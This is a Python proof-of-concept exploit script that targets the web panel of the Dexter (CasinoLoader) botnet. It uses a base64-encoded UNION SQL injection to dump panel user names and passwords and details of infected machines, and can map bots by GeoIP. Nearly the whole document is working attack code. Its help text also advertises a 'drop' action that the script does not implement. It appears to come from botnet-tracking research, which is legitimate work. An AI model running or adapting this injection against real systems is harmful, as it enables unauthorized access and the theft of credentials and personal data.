# Exploit Title: Dexter (CasinoLoader) Panel SQLi
# Date: Feb, 13, 2014
# Exploit Author: Brian Wallace (@botnet_hunter)
# Version: CasinoLoader
# Tested on: Windows 7, Ubuntu, Debian
import pycurl
import urllib
import cStringIO
import base64
import argparse
import sys
import string
import pygeoip
version = "0.1-http_bots-PoC"
def PrintHelp():
global version
print "usage: dexter.PoC.py [-h] [action] [gateway url]"
print ""
print "Dexter CasinoLoader BAMF PoC v" + version
print "Exploiting CasinoLoader panels for information"
print "By Brian Wallace (@botnet_hunter)"
print ""
print "arguments:"
print " action Actions to be taken against the botnet (default: dump)"
print " dump - Print configuration information obtained from source file"
print " drop - Execute a command to make the bot scripts exit"
print " source Path to non-obfuscated source code for the target bot (default: stdin)"
print ""
print("GPS:")
print(" -m MaxMind Location Location of Maxmind database files (default .)")
print ""
print " -h, --help Print this message"
print ""
class DexterPanel:
def __init__(self, gateway_url):
self.gateway_url = gateway_url
@staticmethod
def _get_field(gateway, table, column, row):
buf = cStringIO.StringIO()
c = pycurl.Curl()
c.setopt(c.URL, gateway)
page = "' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + str(row) + " -- --"
params = urllib.urlencode({'val': 'AA==', 'page': base64.b64encode(page)})
c.setopt(c.POSTFIELDS, params)
c.setopt(c.HEADERFUNCTION, buf.write)
c.perform()
val = buf.getvalue()
cookie = None
for line in val.split('\n'):
line = line.strip()
if line.count('Set-Cookie:') > 0 and line.count("response") > 0:
cookie = line
cookie = cookie[cookie.find('=') + 1:]
cookie = urllib.unquote(cookie)
cookie = base64.b64decode(cookie)
cookie = cookie[1:]
cookie = cookie[:-2]
break
buf.close()
return cookie
def get_all_user_details(self):
count = 0
users = []
while True:
user = self._get_field(self.gateway_url, 'users', 'name', count)
if user is None or user == "":
break
password = self._get_field(self.gateway_url, 'users', 'password', count)
count += 1
users.append({'user': user, 'password': password})
return users
def get_all_bot_details(self):
count = 0
bots = []
while True:
user = self._get_field(self.gateway_url, 'bots', 'RemoteIP', count)
if user is None or user == "":
break
count += 1
bots.append({'RemoteIP': user,
'UID': self._get_field(self.gateway_url, 'bots', 'UID', count),
'Version': self._get_field(self.gateway_url, 'bots', 'Version', count),
'Username': self._get_field(self.gateway_url, 'bots', 'Username', count),
'Computername': self._get_field(self.gateway_url, 'bots', 'Computername', count),
'UserAgent': self._get_field(self.gateway_url, 'bots', 'UserAgent', count),
'OS': self._get_field(self.gateway_url, 'bots', 'OS', count),
'Architecture': self._get_field(self.gateway_url, 'bots', 'Architecture', count),
'Idle Time': self._get_field(self.gateway_url, 'bots', 'Idle Time', count),
'Process List': self._get_field(self.gateway_url, 'bots', 'Process List', count),
'LastVisit': self._get_field(self.gateway_url, 'bots', 'LastVisit', count),
'LastCommand': self._get_field(self.gateway_url, 'bots', 'LastCommand', count)})
return bots
if __name__ == "__main__":
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('action', nargs='?', type=str, default="dump", help="Actions to be taken against pBots (default: dump)", choices=["dump", "graph"])
parser.add_argument('gateway', nargs='?', type=str, default=None, help="URL to Dexter bot gateway")
parser.add_argument('-m', metavar='maxmind', type=str, nargs='?', default='./GeoLiteCity.dat')
parser.add_argument('-h', '--help', default=False, required=False, action='store_true')
args = parser.parse_args()
if args.help or args.gateway is None:
PrintHelp()
sys.exit()
if args.action == "dump":
url = args.gateway
dex = DexterPanel(url)
print "User details: %s" % dex.get_all_user_details()
print "Bot details: %s" % dex.get_all_bot_details()
elif args.action == "graph":
url = args.gateway
dex = DexterPanel(url)
bots = dex.get_all_bot_details()
#load Maxmind
sys.stderr.write('Loading MaxMind Database\n')
gi = pygeoip.GeoIP(args.m)
nodes = {}
connections = []
nodes["C2"] = {"id": 0, "label": "C2", "mod": 0}
highestnode = 1
#loop through all bots
for bot in bots:
ip = bot["RemoteIP"]
geoip = gi.record_by_addr(ip)
node = {"id": highestnode, "label": ip, "host": ip, "mod": 1}
highestnode += 1
if geoip is not None:
node['lat'] = geoip["latitude"]
node['lng'] = geoip["longitude"]
nodes[ip] = node
connections.append([node['id'], 0])
print('<?xml version="1.0" encoding="UTF-8"?>')
print('<gexf xmlns="http://www.gexf.net/1.2draft" version="1.2">')
print(' <meta lastmodifieddate="2009-03-20">')
print((' <creator>' + "bwall" + '</creator>'))
print(' <description></description>')
print(' </meta>')
print(' <graph mode="static" defaultedgetype="directed">')
print(' <attributes class="node" mode="static">')
print(' <attribute id="modularity_class" title="Modularity Class" type="integer"></attribute>')
print(' <attribute id="lat" title="lat" type="double"></attribute>')
print(' <attribute id="lng" title="lng" type="double"></attribute>')
print(' </attributes>')
print(' <nodes>')
for name, node in list(nodes.items()):
if 'lat' in node:
print((' <node id="' + str(node['id']) + '" label="' +
node['label'] + '">'))
print(' <attvalues>')
print((' <attvalue for="modularity_class" value="' +
str(node['mod']) + '"></attvalue>'))
print(' <attvalue for="lat" value="' + str(node['lat']) + '"></attvalue>')
print(' <attvalue for="lng" value="' + str(node['lng']) + '"></attvalue>')
print(' </attvalues>')
print(' </node>')
else:
print((' <node id="' + str(node['id']) + '" label="' +
node['label'] + '">'))
print(' <attvalues>')
print((' <attvalue for="modularity_class" value="' +
str(node['mod']) + '"></attvalue>'))
print(' <attvalue for="lat" value="0"></attvalue>')
print(' <attvalue for="lng" value="0"></attvalue>')
print(' </attvalues>')
print(' </node>')
print(' </nodes>')
print(' <edges>')
count = 0
for node in connections:
print((' <edge id="' + str(count) + '" source="' + str(node[0]) +
'" target="' + str(node[1]) + '" />'))
count += 1
print(' </edges>')
print(' </graph>')
print('</gexf>')